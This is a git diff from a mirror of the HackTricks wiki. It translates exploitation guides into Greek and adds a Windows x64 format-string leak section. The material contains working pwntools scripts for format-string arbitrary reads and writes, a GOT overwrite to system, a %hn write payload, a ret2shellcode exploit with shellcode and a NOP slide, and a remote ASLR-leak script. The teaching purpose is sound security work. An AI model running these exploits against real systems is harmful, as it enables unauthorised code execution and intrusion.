mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/format-strings/README.md', 'src/win
This commit is contained in:
parent
92a5cd1b05
commit
91435b4584
@ -234,6 +234,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
|
@ -3,15 +3,15 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποιο κείμενο. Η **πρώτη παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο.
|
||||
Στη C η **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** μια συμβολοσειρά. Η **πρώτη παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** στο ακατέργαστο κείμενο.
|
||||
|
||||
Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**.
|
||||
|
||||
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γρα writable)**. Έτσι θα μπορεί να **εκτελέσει αυθαίρετο κώδικα**.
|
||||
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως το πρώτο όρισμα** αυτής της συνάρτησης. Ο επιτιθέμενος θα μπορεί να κατασκευάσει μια **ειδική είσοδο που καταχράται** τις δυνατότητες του **printf format** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (readable/writable)**. Με αυτόν τον τρόπο μπορεί να **εκτελέσει αυθαίρετο κώδικα**.
|
||||
|
||||
#### Formatters:
|
||||
#### Μορφοποιητές:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -35,7 +35,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
- Με Ελλείποντες Παραμέτρους:
|
||||
- Με Ελλείποντα Ορίσματα:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
@ -52,28 +52,28 @@ fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Πρόσβαση σε Δείκτες**
|
||||
### **Πρόσβαση σε δείκτες**
|
||||
|
||||
Η μορφή **`%<n>$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε:
|
||||
Η μορφή **`%<n>$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n-οστή παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας printf, θα μπορούσατε να κάνετε:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
και θα διάβαζες από την πρώτη έως την τέταρτη παράμετρο.
|
||||
και θα διαβάζατε από το πρώτο έως το τέταρτο param.
|
||||
|
||||
Ή θα μπορούσες να κάνεις:
|
||||
Ή μπορείτε να κάνετε:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
και διαβάστε απευθείας το τέταρτο.
|
||||
και να διαβάσει απευθείας το τέταρτο.
|
||||
|
||||
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
|
||||
Παρατηρήστε ότι ο attacker ελέγχει την `printf` παράμετρο, που ουσιαστικά σημαίνει ότι η είσοδός του θα βρίσκεται στο stack όταν κληθεί το `printf`, και επομένως μπορεί να γράψει συγκεκριμένες διευθύνσεις μνήμης στο stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά.
|
||||
> Ένας attacker που ελέγχει αυτήν την είσοδο θα μπορέσει να **προσθέσει αυθαίρετες διευθύνσεις στο stack και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά.
|
||||
|
||||
## **Αυθαίρετη Ανάγνωση**
|
||||
## **Arbitrary Read**
|
||||
|
||||
Είναι δυνατόν να χρησιμοποιηθεί ο μορφοποιητής **`%n$s`** για να κάνει το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
|
||||
Είναι δυνατό να χρησιμοποιηθεί ο formatter **`%n$s`** για να κάνει το **`printf`** να πάρει τη **διεύθυνση** που βρίσκεται στη **n θέση**, να την ακολουθήσει και να **την εκτυπώσει σαν να ήταν string** (εκτυπώνει μέχρι να βρεθεί 0x00). Έτσι, αν η base address του binary είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος χρήστη ξεκινά στην 4η θέση στο stack, είναι δυνατό να εκτυπώσουμε την αρχή του binary με:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,11 +87,11 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου γιατί η συμβολοσειρά θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης.
|
||||
> Σημειώστε ότι δεν μπορείτε να τοποθετήσετε τη διεύθυνση 0x8048000 στην αρχή του input επειδή το string θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης.
|
||||
|
||||
### Βρείτε την απόσταση
|
||||
### Εύρεση offset
|
||||
|
||||
Για να βρείτε την απόσταση στην είσοδό σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και **να αυξήσετε** την τιμή μέχρι να ανακτήσετε τα `A's`.
|
||||
Για να βρείτε το offset προς το input σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και να **αυξήσετε** την τιμή μέχρι να εντοπίσετε τα `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
@ -128,38 +128,38 @@ p.close()
|
||||
|
||||
### Πόσο χρήσιμο
|
||||
|
||||
Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για:
|
||||
Arbitrary reads μπορούν να είναι χρήσιμες για:
|
||||
|
||||
- **Dump** το **binary** από τη μνήμη
|
||||
- **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** the **binary** από τη μνήμη
|
||||
- **Access specific parts of memory where sensitive** **info** is stored (όπως canaries, encryption keys ή custom passwords όπως σε αυτό το [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Αυθαίρετη Εγγραφή**
|
||||
## **Arbitrary Write**
|
||||
|
||||
Ο μορφοποιητής **`%<num>$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \<num> στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει τόσους χαρακτήρες όσους θέλει με το printf, θα είναι σε θέση να κάνει τον **`%<num>$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
|
||||
Ο μορφοποιητής **`%<num>$n`** γράφει τον αριθμό των γραμμένων bytes στη διεύθυνση που υποδεικνύεται από την παράμετρο <num> στην stack. Εάν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει μέσω printf, θα μπορέσει να κάνει το **`%<num>$n`** να γράψει οποιονδήποτε αριθμό σε οποιαδήποτε διεύθυνση.
|
||||
|
||||
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν είναι απαραίτητο να προσθέσει 9999 "A"s στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**.
|
||||
Ευτυχώς, για να γράψεις τον αριθμό 9999, δεν χρειάζεται να προσθέσεις 9999 "A"s στην είσοδο — μπορείς να χρησιμοποιήσεις τον formatter **`%.<num-write>%<num>$n`** για να γράψεις τον αριθμό **`<num-write>`** στη **διεύθυνση που δείχνει η θέση `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
|
||||
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (που είναι ένας τεράστιος αριθμός για να γραφτεί μονομιάς), **χρησιμοποιείται `$hn`** αντί του `$n`. Αυτό επιτρέπει να **γραφτούν μόνο 2 Bytes**. Επομένως αυτή η ενέργεια εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
|
||||
|
||||
Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).**
|
||||
Συνεπώς, αυτή η ευπάθεια επιτρέπει να **γράψετε οτιδήποτε σε οποιαδήποτε διεύθυνση (arbitrary write).**
|
||||
|
||||
Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση:
|
||||
Στο παράδειγμα αυτό, ο στόχος θα είναι να **επαναγράψουμε** την **διεύθυνση** μιας **function** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές arbitrary write-to-exec:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Θα **επικαλυφθεί** μια **λειτουργία** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** τη **λειτουργία** **`system`**.\
|
||||
Όπως αναφέρθηκε, για να γραφεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**.
|
||||
Θα **επαναγράψουμε** μια **function** που **λαμβάνει** τα **arguments** της από τον **χρήστη** και θα την **δείξουμε** στην **function** **`system`**.\
|
||||
Όπως αναφέρθηκε, για να γράψετε τη διεύθυνση, συνήθως χρειάζονται 2 βήματα: Πρώτα **γράφεις 2Bytes** της διεύθυνσης και μετά τα υπόλοιπα 2. Για αυτό χρησιμοποιείται **`$hn`**.
|
||||
|
||||
- **HOB** ονομάζεται για τα 2 υψηλότερα bytes της διεύθυνσης
|
||||
- **LOB** ονομάζεται για τα 2 χαμηλότερα bytes της διεύθυνσης
|
||||
- **HOB** αναφέρεται στα 2 υψηλότερα bytes της διεύθυνσης
|
||||
- **LOB** αναφέρεται στα 2 χαμηλότερα bytes της διεύθυνσης
|
||||
|
||||
Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο.
|
||||
Στη συνέχεια, λόγω του τρόπου που λειτουργεί το format string, πρέπει να **γράψετε πρώτα το μικρότερο** των \[HOB, LOB] και μετά το άλλο.
|
||||
|
||||
Αν HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
@ -171,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
### Pwntools Template
|
||||
### Pwntools Πρότυπο
|
||||
|
||||
Μπορείτε να βρείτε ένα **πρότυπο** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο:
|
||||
Μπορείτε να βρείτε ένα **πρότυπο** για να προετοιμάσετε ένα exploit για αυτό το είδος ευπάθειας στο:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Ή αυτό το βασικό παράδειγμα από [**εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
Ή αυτό το βασικό παράδειγμα από [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -201,18 +201,60 @@ p.interactive()
|
||||
```
|
||||
## Format Strings to BOF
|
||||
|
||||
Είναι δυνατόν να καταχραστείτε τις ενέργειες εγγραφής μιας ευπάθειας μορφής συμβολοσειράς για να **γράψετε σε διευθύνσεις της στοίβας** και να εκμεταλλευτείτε μια ευπάθεια τύπου **buffer overflow**.
|
||||
Είναι δυνατόν να εκμεταλλευτεί κανείς τις ενέργειες εγγραφής μιας format string ευπάθειας για να **γράψει σε διευθύνσεις της στοίβας** και να εκμεταλλευτεί μια ευπάθεια τύπου **buffer overflow**.
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Στα Windows x64, οι πρώτες τέσσερις integer/pointer παράμετροι περνιούνται σε registers: RCX, RDX, R8, R9. Σε πολλές buggy call-sites, το attacker-controlled string χρησιμοποιείται ως το format argument, αλλά δεν παρέχονται variadic arguments, για παράδειγμα:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Επειδή δεν περνιούνται varargs, οποιαδήποτε conversion όπως "%p", "%x", "%s" θα αναγκάσει την CRT να διαβάσει το επόμενο variadic argument από τον κατάλληλο register. Με την Microsoft x64 calling convention η πρώτη τέτοια ανάγνωση για "%p" προέρχεται από R9. Οποιαδήποτε παροδική τιμή βρίσκεται στο R9 στο call-site θα εκτυπωθεί. Στην πράξη αυτό συχνά leak ένα σταθερό in-module pointer (π.χ., ένας pointer σε ένα local/global object που προηγουμένως τοποθετήθηκε στο R9 από περιβάλλοντα κώδικα ή μια callee-saved value), το οποίο μπορεί να χρησιμοποιηθεί για να ανακτηθεί το module base και να παρακαμφθεί το ASLR.
|
||||
|
||||
Practical workflow:
|
||||
|
||||
- Εγχύστε ένα harmless format όπως "%p " στην αρχή του attacker-controlled string έτσι ώστε η πρώτη conversion να εκτελεστεί πριν από οποιοδήποτε filtering.
|
||||
- Capture the leaked pointer, προσδιορίστε το static offset αυτού του αντικειμένου μέσα στο module (με reversing μία φορά χρησιμοποιώντας symbols ή ένα local copy), και ανακτήστε το image base ως `leak - known_offset`.
|
||||
- Επαναχρησιμοποιήστε αυτό το base για να υπολογίσετε absolute addresses για ROP gadgets και IAT entries απομακρυσμένα.
|
||||
|
||||
Example (abbreviated python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
# Send an input that the vulnerable code will pass as the "format"
|
||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||
io = remote(HOST, 4141)
|
||||
# ... drive protocol to reach the vulnerable snprintf ...
|
||||
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Το ακριβές offset που πρέπει να αφαιρεθεί εντοπίζεται μία φορά κατά το local reversing και στη συνέχεια επαναχρησιμοποιείται (same binary/version).
|
||||
- Αν "%p" δεν εκτυπώσει έναν έγκυρο pointer στην πρώτη προσπάθεια, δοκιμάστε άλλους specifiers ("%llx", "%s") ή πολλαπλές μετατροπές ("%p %p %p") για να δείτε άλλους argument registers/stack.
|
||||
- Αυτό το μοτίβο είναι συγκεκριμένο για την Windows x64 calling convention και τις printf-family implementations που ανακτούν μη-υπάρχοντα varargs από registers όταν το format string τα ζητά.
|
||||
|
||||
Αυτή η τεχνική είναι εξαιρετικά χρήσιμη για να bootstrap ROP σε Windows services compiled με ASLR και χωρίς προφανή memory disclosure primitives.
|
||||
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (χωρίς ανάγκη αλλαγής της ροής εκτέλεσης)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string για overwrite της διεύθυνσης `fflush` με τη win function (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string για να γράψετε μια διεύθυνση μέσα στο main στο `.fini_array` (ώστε η ροή να επιστρέψει ακόμη 1 φορά) και να γράψετε τη διεύθυνση του `system` στον GOT πίνακα δείχνοντας σε `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` θα εκτελεστεί με user input και δείχνοντας σε `system`, και θα εκτελέσει τις δοθείσες εντολές.
|
||||
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στην **binary exploitation** όπου ένας επιτιθέμενος γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** για να δείξει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα στοχευμένο σύστημα. Ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος C και πώς θα μπορούσατε να γράψετε μια αντίστοιχη εκμετάλλευση χρησιμοποιώντας Python με **pwntools**.
|
||||
**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στο **binary exploitation**, όπου ένας attacker γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** ώστε να δείχνει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει arbitrary commands σε ένα σύστημα-στόχο. Εδώ ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος σε C και του πώς θα μπορούσατε να γράψετε ένα αντίστοιχο exploit χρησιμοποιώντας Python με **pwntools**.
|
||||
|
||||
### C Example: A Vulnerable Program
|
||||
### Παράδειγμα C: Ένα Ευάλωτο Πρόγραμμα
|
||||
|
||||
Let's start with a simple example of a vulnerable C program:
|
||||
Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου C προγράμματος:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Αυτό το πρόγραμμα είναι ευάλωτο σε overflow buffer λόγω της χρήσης της συνάρτησης `gets()`.
|
||||
Αυτό το πρόγραμμα είναι ευάλωτο σε buffer overflow λόγω της χρήσης της συνάρτησης `gets()`.
|
||||
|
||||
### Συγκέντρωση
|
||||
### Compilation
|
||||
|
||||
Για να συγκεντρώσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
|
||||
Για να μεταγλωττίσετε αυτό το πρόγραμμα ενώ απενεργοποιείτε διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας.
|
||||
- `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα.
|
||||
- `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.
|
||||
- `-m32`: Συμπιέζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
|
||||
- `-fno-stack-protector`: Απενεργοποιεί την προστασία του stack.
|
||||
- `-z execstack`: Κάνει το stack εκτελέσιμο, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στο stack.
|
||||
- `-no-pie`: Απενεργοποιεί το Position Independent Executable, κάνοντας πιο εύκολο τον υπολογισμό της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.
|
||||
- `-m32`: Μεταγλωττίζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιείται για απλότητα στην ανάπτυξη exploits.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
|
||||
Ακολουθεί πώς μπορείτε να γράψετε ένα exploit σε Python χρησιμοποιώντας **pwntools** για να πραγματοποιήσετε μια επίθεση **ret2shellcode**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στην NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
|
||||
Αυτό το script κατασκευάζει ένα payload που αποτελείται από ένα **NOP slide**, το **shellcode**, και στη συνέχεια υπεργράφει το **EIP** με τη διεύθυνση που δείχνει στο NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
|
||||
|
||||
Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στην NOP slide.
|
||||
Το **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα «γλιστρήσει» στο shellcode μας ανεξάρτητα από την ακριβή διεύθυνση. Προσαρμόστε το όρισμα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset ώστε να προσγειωθείτε στο NOP slide.
|
||||
|
||||
## Προστασίες
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
|
||||
Σε σύγχρονα Windows η στοίβα είναι μη εκτελέσιμη (DEP/NX). Ένας συνηθισμένος τρόπος για να εκτελέσετε shellcode που βρίσκεται στη στοίβα μετά από stack BOF είναι να φτιάξετε μια 64-bit ROP chain που καλεί την VirtualAlloc (ή VirtualProtect) από το module Import Address Table (IAT) για να κάνει μια περιοχή της στοίβας εκτελέσιμη και στη συνέχεια να επιστρέψει στο shellcode που ακολουθεί την αλυσίδα.
|
||||
|
||||
